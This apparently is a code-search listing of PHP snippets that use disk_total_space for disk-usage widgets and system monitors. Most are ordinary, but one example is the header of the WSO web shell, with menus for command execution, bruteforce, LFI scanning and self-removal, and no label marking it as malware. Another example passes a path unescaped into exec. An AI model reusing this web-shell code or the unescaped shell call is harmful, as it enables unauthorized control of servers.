コード例 #1
0
function widgetHardDrives()
{
    global $drive;
    $warningthreshold = 90;
    if (!empty($drive)) {
        echo "<table border=\"0\" id=\"harddrives\">\n";
        echo "\t<col id=\"col-disk\" />\n";
        echo "\t<col id=\"col-capacity\" />\n";
        echo "\t<col id=\"col-remaining\" />\n";
        echo "\t<col id=\"col-progress\" />\n";
        echo "\t<tr>\n";
        echo "\t\t<th>Disk</th>\n";
        echo "\t\t<th>Size</th>\n";
        echo "\t\t<th>Free</th>\n";
        echo "\t\t<th>Usage</th>\n";
        echo "\t</tr>\n";
        foreach ($drive as $drivelabel => $drivepath) {
            echo "\t<tr>\n";
            echo "\t\t<td>" . $drivelabel . "</td>\n";
            echo "\t\t<td>" . to_readable_size(disk_total_space($drivepath)) . "</td>\n";
            echo "\t\t<td>" . to_readable_size(disk_free_space($drivepath)) . "</td>\n";
            echo "\t\t<td><div class=\"progressbar\"><div class=\"progress" . (disk_used_percentage($drivepath) > $warningthreshold ? " warning" : "") . "\" style=\"width:" . disk_used_percentage($drivepath) . "%\"></div><div class=\"progresslabel\">" . sprintf("%u", disk_used_percentage($drivepath)) . "%</div></div></td>\n";
            echo "\t</tr>\n";
        }
        echo "</table>\n";
    }
}
コード例 #2
0
ファイル: System.php プロジェクト: phaniso/phpmonitor-api
 protected function getDiskTotal()
 {
     if (!function_exists('disk_total_space')) {
         return 0;
     }
     return (double) disk_total_space("/");
 }
コード例 #3
0
ファイル: System.php プロジェクト: BozzaCoon/SPHERE-Framework
 /**
  * @return Stage
  */
 public function frontendDashboard()
 {
     $Stage = new Stage('Dashboard', 'System');
     $Value = 100 / disk_total_space(__DIR__) * disk_free_space(__DIR__);
     Main::getDispatcher()->registerWidget('System', new Panel('Festplattenkapazität', array('<div class="progress" style="margin-bottom: 0;">
                       <div class="progress-bar progress-bar-success" style="width: ' . $Value . '%"></div>
                       <div class="progress-bar progress-bar-danger" style="width: ' . (100 - $Value) . '%"></div>
                     </div>', 'Gesamt: ' . number_format(disk_total_space(__DIR__), 0, ',', '.'), 'Frei: ' . number_format(disk_free_space(__DIR__), 0, ',', '.'))), 2, 2);
     $free = shell_exec('free');
     $free = (string) trim($free);
     $free_arr = explode("\n", $free);
     $mem = explode(" ", $free_arr[1]);
     $mem = array_filter($mem);
     $mem = array_merge($mem);
     $Value = $mem[2] / $mem[1] * 100;
     Main::getDispatcher()->registerWidget('System', new Panel('Speicherkapazität', array('<div class="progress" style="margin-bottom: 0;">
           <div class="progress-bar progress-bar-success" style="width: ' . $Value . '%"></div>
           <div class="progress-bar progress-bar-danger" style="width: ' . (100 - $Value) . '%"></div>
         </div>', 'Gesamt: ' . number_format($mem[1], 0, ',', '.'), 'Frei: ' . number_format($mem[2], 0, ',', '.'))), 2, 2);
     $load = sys_getloadavg();
     Main::getDispatcher()->registerWidget('System', new Panel('Rechenkapazität', array('<div class="progress" style="margin-bottom: 0;">
           <div class="progress-bar progress-bar-success" style="width: ' . 50 * (2 - $load[0]) . '%"></div>
           <div class="progress-bar progress-bar-danger" style="width: ' . 50 * $load[0] . '%"></div>
         </div>', 'Genutzt: ' . number_format($load[0], 5, ',', '.'), 'Frei: ' . number_format(2 - $load[0], 5, ',', '.'))), 2, 2);
     $Stage->setContent(Main::getDispatcher()->fetchDashboard('System'));
     return $Stage;
 }
コード例 #4
0
function widgetHardDrives() {
	global $drive;
	
	$warningthreshold = 90;
	
	if(empty($drive)) {
		echo "<table border=\"0\" id=\"harddrives\">\n";
		echo "\t<col id=\"col-disk\" />\n";
		echo "\t<col id=\"col-capacity\" />\n";
		echo "\t<col id=\"col-remaining\" />\n";
		echo "\t<col id=\"col-progress\" />\n";
		echo "\t<tr>\n";
		echo "\t\t<th>Disk</th>\n";
		echo "\t\t<th>Capacity</th>\n";
		echo "\t\t<th>Remaining</th>\n";
		echo "\t\t<th>%</th>\n";
		echo "\t</tr>\n";
		foreach( $drive as $drivelabel => $drivepath) {
			echo "\t<tr>\n";
			echo "\t\t<td>".$drivelabel."</td>\n";
			echo "\t\t<td>".to_readable_size(disk_total_space($drivepath))."</td>\n";
			echo "\t\t<td>".to_readable_size(disk_free_space($drivepath))."</td>\n";
			echo "\t\t<td><div class=\"progressbar\"><div class=\"progress".((disk_used_percentage($drivepath) > $warningthreshold) ? " warning" : "")."\" style=\"width:".(disk_used_percentage($drivepath))."%\"></div><div class=\"progresslabel\">".sprintf("%u", disk_used_percentage($drivepath))."%</div></div></td>\n";
			echo "\t</tr>\n";
		}
		echo "</table>\n";
	}
        else{
            echo 'You have not configured this feature in the config file yet.';

        }
}
コード例 #5
0
 public function collect()
 {
     $this->collected[] = (new Serie(NULL, $this->hostname, $this->name, "total", "Free", disk_free_space('/')))->getArray();
     $this->collected[] = (new Serie(NULL, $this->hostname, $this->name, "total", "InUse", disk_total_space('/') - disk_free_space('/')))->getArray();
     if (!is_array($this->keysConfig)) {
         return true;
     }
     $n = 0;
     foreach ($this->keysConfig as $path => $isActive) {
         if ($isActive == 0) {
             continue;
         }
         $file_wait = TMP_FOLDER . DIRECTORY_SEPARATOR . 'saturn.disk_' . $n . '.work.wait';
         $file_complete = TMP_FOLDER . DIRECTORY_SEPARATOR . 'saturn.disk_' . $n . '.work.complete';
         if (file_exists($file_complete)) {
             //self::log( $path . " END" . $file_complete );
             $content = file_get_contents($file_complete);
             //self::log( $path . " CONTENT " . $content );
             if (preg_match('/([0-9]+)/', $content, $match)) {
                 $size = $match[1];
                 //self::log( $path . " SIZE " . $size );
                 $this->collected[] = (new Serie(NULL, $this->hostname, $this->name, "path", $path, $size))->getArray();
             }
             @unlink($file_complete);
             @unlink($file_wait);
         }
         if (!file_exists($file_wait)) {
             exec('du -s ' . $path . ' > ' . $file_complete . " &");
             touch($file_wait);
         }
         $n++;
     }
 }
コード例 #6
0
ファイル: haarp.php プロジェクト: albertok/haarpcache
function disk_use($dir)
{
    $df = disk_free_space($dir);
    $dt = disk_total_space($dir);
    $du = $dt - $df;
    return $du / $dt * 100;
}
コード例 #7
0
ファイル: log.Disk.php プロジェクト: javinc/loadavg
 /**
  * logDiskUsageData
  *
  * Retrives data and logs it to file
  *
  * @param string $type type of logging default set to normal but it can be API too.
  * @return string $string if type is API returns data as string
  *	 *
  */
 public function logData($type = false)
 {
     $class = __CLASS__;
     $settings = Logger::$_settings->{$class};
     $timestamp = time();
     $drive = $settings['settings']['drive'];
     if (is_dir($drive)) {
         $spaceBytes = disk_total_space($drive);
         $freeBytes = disk_free_space($drive);
         $usedBytes = $spaceBytes - $freeBytes;
         //$freeBytes = dataSize($Bytes);
         //$percentBytes = $freeBytes ? round($freeBytes / $totalBytes, 2) * 100 : 0;
     }
     $string = $timestamp . '|' . $usedBytes . '|' . $spaceBytes . "\n";
     $filename = sprintf($this->logfile, date('Y-m-d'));
     LoadUtility::safefilerewrite($filename, $string, "a", true);
     //If alerts are enabled, check for alerts
     if (Alert::$alertStatus) {
         $this->checkAlerts($timestamp, $usedBytes, $spaceBytes, $settings);
     }
     if ($type == "api") {
         return $string;
     } else {
         return true;
     }
 }
コード例 #8
0
ファイル: OpenBSD.php プロジェクト: Ali-Shaikh/linfo
 public function getMounts()
 {
     // Time?
     if (!empty($this->settings['timer'])) {
         $t = new Timer('Mounted file systems');
     }
     // Get result of mount command
     try {
         $mount_res = $this->exec->exec('mount');
     } catch (Exception $e) {
         Errors::add('Linfo Core', 'Error running `mount` command');
         return array();
     }
     // Match that up
     if (preg_match_all('/^(\\S+) on (\\S+) type (\\S+) \\(.+\\)$/m', $mount_res, $mount_matches, PREG_SET_ORDER) == 0) {
         return array();
     }
     // Store them here
     $mounts = array();
     // Go through
     foreach ($mount_matches as $mount) {
         // Should we not show this?
         if (in_array($mount[1], $this->settings['hide']['storage_devices']) || in_array($mount[3], $this->settings['hide']['filesystems'])) {
             continue;
         }
         // Get these
         $size = @disk_total_space($mount[2]);
         $free = @disk_free_space($mount[2]);
         $used = $size - $free;
         // Might be good, go for it
         $mounts[] = array('device' => $mount[1], 'mount' => $mount[2], 'type' => $mount[3], 'size' => $size, 'used' => $used, 'free' => $free, 'free_percent' => (bool) $free != false && (bool) $size != false ? round($free / $size, 2) * 100 : false, 'used_percent' => (bool) $used != false && (bool) $size != false ? round($used / $size, 2) * 100 : false);
     }
     // Give it
     return $mounts;
 }
コード例 #9
0
 /**
  * Reads the disk quota info
  *
  * @param integer $pow
  * @param integer $dec
  * @return array
  */
 public static function readDiskInfo($pow = 2, $dec = 2)
 {
     $diskInformation = array();
     if (function_exists('disk_free_space') && function_exists('disk_total_space')) {
         $root = '';
         if ($tmp = @disk_total_space($_SERVER["DOCUMENT_ROOT"])) {
             $root = $_SERVER["DOCUMENT_ROOT"];
         } else {
             $sql = "SELECT packageDir FROM wcf" . WCF_N . "_package\n            \t\t\tWHERE packageID = " . PACKAGE_ID;
             $row = WCF::getDB()->getFirstRow($sql);
             $root = FileUtil::getRealPath(WCF_DIR . $row['packageDir']);
         }
         if (!empty($root)) {
             $diskInformation['totalSpace'] = round(disk_total_space($root) / pow(1024, $pow), $dec);
             $diskInformation['freeSpace'] = round(disk_free_space($root) / pow(1024, $pow), $dec);
             $diskInformation['usedSpace'] = round($diskInformation['totalSpace'] - $diskInformation['freeSpace'], $dec);
             if ($diskInformation['totalSpace'] > 0) {
                 $diskInformation['freeQuota'] = round($diskInformation['freeSpace'] * 100 / $diskInformation['totalSpace'], $dec);
                 $diskInformation['usedQuota'] = round($diskInformation['usedSpace'] * 100 / $diskInformation['totalSpace'], $dec);
             } else {
                 $diskInformation['freeQuota'] = $diskInformation['usedQuota'] = 0;
             }
         }
     }
     return $diskInformation;
 }
コード例 #10
0
ファイル: _hdd.php プロジェクト: idoop/Raspcontrol
    function freeStorage()
    {
        $bytes = disk_free_space(".");
        $si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
        $base = 1024;
        $class = min((int) log($bytes, $base), count($si_prefix) - 1);
        $free = sprintf('%1.2f', $bytes / pow($base, $class));
        $bytes = disk_total_space(".");
        $si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
        $base = 1024;
        $class = min((int) log($bytes, $base), count($si_prefix) - 1);
        $total = sprintf('%1.2f', $bytes / pow($base, $class));
        $used = $total - $free;
        $percentage = round($used / $total * 100);
        if ($percentage > '80') {
            echo '
				<div style="float:left"><img src="app/images/sd.png" align="middle"> SD Card <font color="red"> (Warning)</font>:
				<br/><br/><div class="graph"><strong class="barGreen" style="width:' . $percentage . '%;">' . $percentage . '%</strong></div> &nbsp; &nbsp;  <div class="clear"></div>; ';
        } else {
            echo '
				 <div style="float:left"><img src="app/images/sd.png" align="middle"> SD Card <font color="green"> (OK)</font>:
				 <br/><div class="graph"><strong class="barGreen" style="width:' . $percentage . '%;">' . $percentage . '%</strong></div> &nbsp; &nbsp;  <div class="clear"></div>';
        }
        echo "<br/>Total: <strong>" . $total . "</strong> GB &middot ";
        echo "Free: <strong>" . $free . "</strong> GB";
        echo "</div>";
    }
コード例 #11
0
ファイル: HomePageBiz.php プロジェクト: youngsun45/miniyun
 public function getDiskTotalSpace()
 {
     if (file_exists(BASE) == false) {
         CUtils::MkDirs(BASE);
     }
     return @disk_total_space(BASE);
 }
コード例 #12
0
ファイル: at_system.php プロジェクト: nawrasg/Atlantis
function get()
{
    $pid = (new Settings())->getSettings('Daemon', 'pid');
    if ($pid == -1) {
        $daemon = false;
    } else {
        exec("ps -p {$pid}", $result);
        if (count($result) > 1) {
            $result = $result[1];
            $result = preg_replace("/\\s+/", " ", $result);
            $data = explode(" ", $result);
            if ($data[count($data) - 1] == 'php') {
                $daemon = true;
            } else {
                $daemon = false;
            }
        } else {
            $daemon = false;
        }
    }
    $free_disk = disk_free_space('/') / disk_total_space('/');
    $settings = new Settings();
    $output = array('daemon' => $daemon, 'free_hdd' => $free_disk, 'nightFrom' => $settings->getSettings('Mode', 'nightFrom'), 'nightTo' => $settings->getSettings('Mode', 'nightTo'), 'nightAuto' => $settings->getSettings('Mode', 'nightAuto'));
    return $output;
}
コード例 #13
0
 private function getMounts()
 {
     // Try using the `mount` command to get mounted file systems
     try {
         $res = $this->exec->exec('mount');
     } catch (CallExtException $e) {
         return array();
     }
     // Try matching up the output
     if (preg_match_all('/^(\\S+) is .+ mounted on (\\S+) \\(.+\\)$/m', $res, $mount_matches, PREG_SET_ORDER) == 0) {
         return array();
     }
     // Store them here
     $mounts = array();
     // Go through each match
     foreach ($mount_matches as $mount) {
         // These might be a waste
         $size = @disk_total_space($mount[2]);
         $free = @disk_free_space($mount[2]);
         $used = $size - $free;
         // Save it
         $mounts[] = array('device' => $mount[1], 'mount' => $mount[2], 'type' => '?', 'size' => $size, 'used' => $used, 'free' => $free, 'free_percent' => (bool) $free != false && (bool) $size != false ? round($free / $size, 2) * 100 : false, 'used_percent' => (bool) $used != false && (bool) $size != false ? round($used / $size, 2) * 100 : false);
     }
     // Return them
     return $mounts;
 }
コード例 #14
0
ファイル: frontend.php プロジェクト: StudsPro/islandpeeps.com
 public function index()
 {
     $_user = $this->uri->segment(1);
     if (isset($_user) && !empty($_user) && preg_match("/^[a-zA-Z0-9-_]+\$/", $_user)) {
         if (isset($this->session->userdata['frontlogin']) && $this->session->userdata['frontlogin'] == true && $this->session->userdata['frontuser'] == $_user) {
             $_details = $this->mFrontend->getDetailsbyURL($_user);
             if ($_details != false) {
                 $this->session->set_userdata('importUnique', uniqid('imp_', true));
                 $this->session->set_userdata('fileByCustomer', '1');
                 $errortype = isset($_GET['errortype']) ? $_GET['errortype'] : false;
                 $errormsg = isset($_GET['errormsg']) ? urldecode($_GET['errormsg']) : '';
                 $_data = array('title' => __('front_title_welcome'), 'site' => 'frontend/dashboard', 'user' => $_details, 'addnavi' => true, 'errortype' => $errortype, 'errormsg' => $errormsg, 'allowupload' => $_details->userCanUpload == '1' ? 'yes' : 'no', 'showfree' => $this->mGlobal->getConfig('SHOW_FREESPACE_USER')->configVal, 'diskfree' => disk_free_space(FCPATH), 'disktotal' => disk_total_space(FCPATH), 'folder' => isset($_details->defaultFolderID) && !is_null($_details->defaultFolderID) && !empty($_details->defaultFolderID) ? $_details->defaultFolderID : '');
                 if ($_details->userCanUpload == '1') {
                     $this->load->view('frontend', $_data);
                 } else {
                     redirect($_user . '/userfiles');
                 }
             } else {
                 redirect($_user . '/error');
             }
         } else {
             redirect($_user . '/login');
         }
     } else {
         if (mGlobal::getConfig('SHOW_CENTRAL_LOGIN')->configVal == 'yes') {
             redirect('login');
         }
         $_data = array('title' => __('front_title_welcome'), 'site' => 'frontend/index', 'header' => 'header', 'errtype' => false, 'errmsg' => '');
         $this->load->view('frontend', $_data);
     }
 }
コード例 #15
0
function wsoHeader()
{
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $GLOBALS['default_charset'];
    }
    global $color;
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title> \n<style> \nbody {background-color:#000;color:#fff;}  \nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }  \nspan,h1,a{ color: {$color} !important; }  \nspan{ font-weight: bolder; }  \nh1{ border:1px solid {$color};padding: 2px 5px;font: 14pt Verdana;margin:0px; }  \ndiv.content{ padding: 5px;margin-left:5px;}  \na{ text-decoration:none; }  \na:hover{ background:#ff0000; }  \n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }  \n.bigarea{ width:100%;height:250px; }  \ninput, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; }  \nform{ margin:0px; }  \n#toolsTbl{ text-align:center; }  \n.toolsInp{ width: 80%; }  \n.main th{text-align:left;}  \n.main tr:hover{background-color:#5e5e5e;}  \n.main td, th{vertical-align:middle;}  \npre{font-family:Courier,Monospace;} \n#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}  \n</style> \n<script> \n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; \n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "'; \n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "'; \n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "'; \n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "'; \n    var d = document; \n    function set(a,c,p1,p2,p3,charset) { \n        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; \n        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; \n        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; \n        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; \n        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; \n        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; \n    } \n    function g(a,c,p1,p2,p3,charset) { \n        set(a,c,p1,p2,p3,charset); \n        d.mf.submit(); \n    } \n    function a(a,c,p1,p2,p3,charset) { \n        set(a,c,p1,p2,p3,charset); \n        var params = 'ajax=true'; \n        for(i=0;i<d.mf.elements.length;i++) \n            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); \n        sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params); \n    } \n    function sr(url, params) { \n        if (window.XMLHttpRequest) \n            req = new XMLHttpRequest(); \n        else if (window.ActiveXObject) \n            req = new ActiveXObject('Microsoft.XMLHTTP'); \n        if (req) { \n            req.onreadystatechange = processReqChange; \n            req.open('POST', url, true); \n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); \n            req.send(params); \n        } \n    } \n    function processReqChange() { \n        if( (req.readyState == 4) ) \n            if(req.status == 200) { \n                var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); \n                var arr=reg.exec(req.responseText); \n                eval(arr[2].substr(0, arr[1])); \n            } else alert('Request error!'); \n    } \n</script> \n<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'> \n<form method=post name=mf style='display:none;'> \n<input type=hidden name=a> \n<input type=hidden name=c> \n<input type=hidden name=p1> \n<input type=hidden name=p2> \n  \n<input type=hidden name=p3> \n<input type=hidden name=charset> \n</form>";
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace ? $totalSpace : 1;
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n = count($path);
    for ($i = 0; $i < $n - 1; $i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for ($j = 0; $j <= $i; $j++) {
            $cwd_links .= $path[$j] . '/';
        }
        $cwd_links .= "\")'>" . $path[$i] . "/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach ($charsets as $item) {
        $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
    }
    $m = array('Sec Info' => 'SecInfo', 'Files' => 'FilesMan', 'Exec' => 'Console', 'Sql' => 'Sql', 'PHP Tools' => 'phptools', 'LFI' => 'lfiscan', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'XSS Shell' => 'XSSShell', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
    if (!empty($GLOBALS['auth_pass'])) {
        $m['Logout'] = 'Logout';
    }
    $m['Self remove'] = 'SelfRemove';
    $menu = '';
    foreach ($m as $k => $v) {
        $menu .= '<th width="' . (int) (100 / count($m)) . '%">[<a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a>]</th>';
    }
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach (range('c', 'z') as $drive) {
            if (is_dir($drive . ':\\')) {
                $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
            }
        }
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
コード例 #16
0
ファイル: lib.php プロジェクト: rchennuri/circleci-demo-app
function get_disk()
{
    $disk_info = array();
    $disk_info['total'] = disk_total_space("/");
    $disk_info['free'] = disk_free_space("/");
    $disk_info['used'] = $disk_info['total'] - $disk_info['free'];
    return $disk_info;
}
コード例 #17
0
 public function index()
 {
     $this->load->model('user/mUser');
     $errortype = isset($_GET['errortype']) ? $_GET['errortype'] : false;
     $errormsg = isset($_GET['errormsg']) ? urldecode($_GET['errormsg']) : '';
     $_data = array('errortype' => $errortype, 'errormsg' => $errormsg, 'title' => __('dash_title_dashboard'), 'site' => 'dashboard/index', 'diskfree' => disk_free_space(FCPATH), 'disktotal' => disk_total_space(FCPATH), 'files' => $this->mDashboard->latestFiles(), 'regUserBar' => $this->mDashboard->regUsers(true), 'regUser' => $this->mDashboard->regUsers(), 'totalFilesBar' => $this->mDashboard->regTotalFiles(true), 'totalFiles' => $this->mDashboard->regTotalFiles(), 'totalFileSizeBar' => $this->mDashboard->regTotalFileSize(true), 'totalFileSize' => $this->mDashboard->regTotalFileSize(), 'downFileSizeBar' => $this->mDashboard->downTotalFileSize(true), 'downFileSize' => $this->mDashboard->downTotalFileSize());
     $this->load->view('master', $_data);
 }
コード例 #18
0
ファイル: class.php プロジェクト: BlackPearl01/quick-box
 public function totalSpace($rawOutput = false)
 {
     $diskTotalSpace = @disk_total_space($this->diskPath);
     if ($diskTotalSpace === FALSE) {
         throw new Exception('totalSpace(): Invalid disk path.');
     }
     return $rawOutput ? $diskTotalSpace : $this->addUnits($diskTotalSpace);
 }
コード例 #19
0
ファイル: Directory.php プロジェクト: blar/filesystem
 /**
  * Get total space from a directory.
  *
  * @return int
  * @throws RuntimeException
  */
 public function getTotalSpace() : int
 {
     if (!$this->isDirectory()) {
         $message = sprintf('Cannot calculate total space on %s', $this->getPath());
         throw new RuntimeException($message);
     }
     return disk_total_space($this->getPath());
 }
コード例 #20
0
ファイル: API.php プロジェクト: bossrabbit/piwik
 function _getDiskSpace()
 {
     $diskinfo = array();
     $diskinfo['Free'] = disk_free_space('./') / 10000000000;
     $diskinfo['Total'] = disk_total_space('./') / 10000000000;
     $diskinfo['Used'] = $diskinfo['Total'] - $diskinfo['Free'];
     return $diskinfo;
 }
コード例 #21
0
ファイル: upload.php プロジェクト: polto/doxel-webapp
function getDiskUsage($directory)
{
    $total = disk_total_space($directory) + $_SERVER['CONTENT_LENGTH'];
    $free = disk_free_space($directory);
    if (!$total || !$free) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 906, "message": "Could not compute free space on ' . $directory . '"}, "id" : "id"}');
    }
    return $free / $total * 100.0;
}
コード例 #22
0
 function getdf($disk)
 {
     $dspace = array();
     $dspace['free'] = disk_free_space($disk) / 1024000;
     $dspace['total'] = disk_total_space($disk) / 1024000;
     $dspace['used'] = disk_total_space($disk) / 1024000 - disk_free_space($disk) / 1024000;
     $dspaceoutput = '{"cols":[{"id":"Metric","label":"Metric","type":"string"},{"id":"value","label":"Value","type":"number"}],"rows":[{"c":[{"v":"Disk Free"},{"v":' . $dspace['free'] . '}]},{"c":[{"v":"Disk Used"},{"v":' . $dspace['used'] . '}]},{"c":[{"v":"Total Disk"},{"v":' . $dspace['total'] . '}]}]}';
     return $dspaceoutput;
 }
コード例 #23
0
 public function disk_space_use()
 {
     $diskSpaceTotal = disk_total_space(DIRECTORY_SEPARATOR);
     $diskSpaceFree = disk_free_space(DIRECTORY_SEPARATOR);
     $diskSpaceUse = $diskSpaceTotal - $diskSpaceFree;
     $diskPercFree = round($diskSpaceFree * 100 / $diskSpaceTotal, 0);
     $diskPercUse = round($diskSpaceUse * 100 / $diskSpaceTotal, 0);
     return $diskPercUse;
 }
コード例 #24
0
 public function getdisk_space()
 {
     //hdd stat
     $stat['hdd_free'] = round(disk_free_space("/") / 1024 / 1024 / 1024, 2);
     $stat['hdd_total'] = round(disk_total_space("/") / 1024 / 1024 / 1024, 2);
     $stat['hdd_used'] = $stat['hdd_total'] - $stat['hdd_free'];
     $stat['hdd_percent'] = round(sprintf('%.2f', $stat['hdd_used'] / $stat['hdd_total'] * 100), 2);
     return $stat;
 }
コード例 #25
0
function randomBytes($length = 16, $secure = true, $raw = true, $startEntropy = "", &$rounds = 0, &$drop = 0)
{
    static $lastRandom = "";
    $output = "";
    $length = abs((int) $length);
    $secureValue = "";
    $rounds = 0;
    $drop = 0;
    while (!isset($output[$length - 1])) {
        //some entropy, but works ^^
        $weakEntropy = array(is_array($startEntropy) ? implode($startEntropy) : $startEntropy, serialize(stat(__FILE__)), __DIR__, PHP_OS, microtime(), (string) lcg_value(), (string) PHP_MAXPATHLEN, PHP_SAPI, (string) PHP_INT_MAX . "." . PHP_INT_SIZE, serialize($_SERVER), serialize(get_defined_constants()), get_current_user(), serialize(ini_get_all()), (string) memory_get_usage() . "." . memory_get_peak_usage(), php_uname(), phpversion(), extension_loaded("gmp") ? gmp_strval(gmp_random(4)) : microtime(), zend_version(), (string) getmypid(), (string) getmyuid(), (string) mt_rand(), (string) getmyinode(), (string) getmygid(), (string) rand(), function_exists("zend_thread_id") ? (string) zend_thread_id() : microtime(), var_export(@get_browser(), true), function_exists("getrusage") ? @implode(getrusage()) : microtime(), function_exists("sys_getloadavg") ? @implode(sys_getloadavg()) : microtime(), serialize(get_loaded_extensions()), sys_get_temp_dir(), (string) disk_free_space("."), (string) disk_total_space("."), uniqid(microtime(), true), file_exists("/proc/cpuinfo") ? file_get_contents("/proc/cpuinfo") : microtime());
        shuffle($weakEntropy);
        $value = hash("sha512", implode($weakEntropy), true);
        $lastRandom .= $value;
        foreach ($weakEntropy as $k => $c) {
            //mixing entropy values with XOR and hash randomness extractor
            $value ^= hash("sha256", $c . microtime() . $k, true) . hash("sha256", mt_rand() . microtime() . $k . $c, true);
            $value ^= hash("sha512", (string) lcg_value() . $c . microtime() . $k, true);
        }
        unset($weakEntropy);
        if ($secure === true) {
            $strongEntropyValues = array(is_array($startEntropy) ? hash("sha512", $startEntropy[($rounds + $drop) % count($startEntropy)], true) : hash("sha512", $startEntropy, true), file_exists("/dev/urandom") ? fread(fopen("/dev/urandom", "rb"), 64) : str_repeat("", 64), (function_exists("openssl_random_pseudo_bytes") and version_compare(PHP_VERSION, "5.3.4", ">=")) ? openssl_random_pseudo_bytes(64) : str_repeat("", 64), function_exists("mcrypt_create_iv") ? mcrypt_create_iv(64, MCRYPT_DEV_URANDOM) : str_repeat("", 64), $value);
            $strongEntropy = array_pop($strongEntropyValues);
            foreach ($strongEntropyValues as $value) {
                $strongEntropy = $strongEntropy ^ $value;
            }
            $value = "";
            //Von Neumann randomness extractor, increases entropy
            $bitcnt = 0;
            for ($j = 0; $j < 64; ++$j) {
                $a = ord($strongEntropy[$j]);
                for ($i = 0; $i < 8; $i += 2) {
                    $b = ($a & 1 << $i) > 0 ? 1 : 0;
                    if ($b != (($a & 1 << $i + 1) > 0 ? 1 : 0)) {
                        $secureValue |= $b << $bitcnt;
                        if ($bitcnt == 7) {
                            $value .= chr($secureValue);
                            $secureValue = 0;
                            $bitcnt = 0;
                        } else {
                            ++$bitcnt;
                        }
                        ++$drop;
                    } else {
                        $drop += 2;
                    }
                }
            }
        }
        $output .= substr($value, 0, min($length - strlen($output), $length));
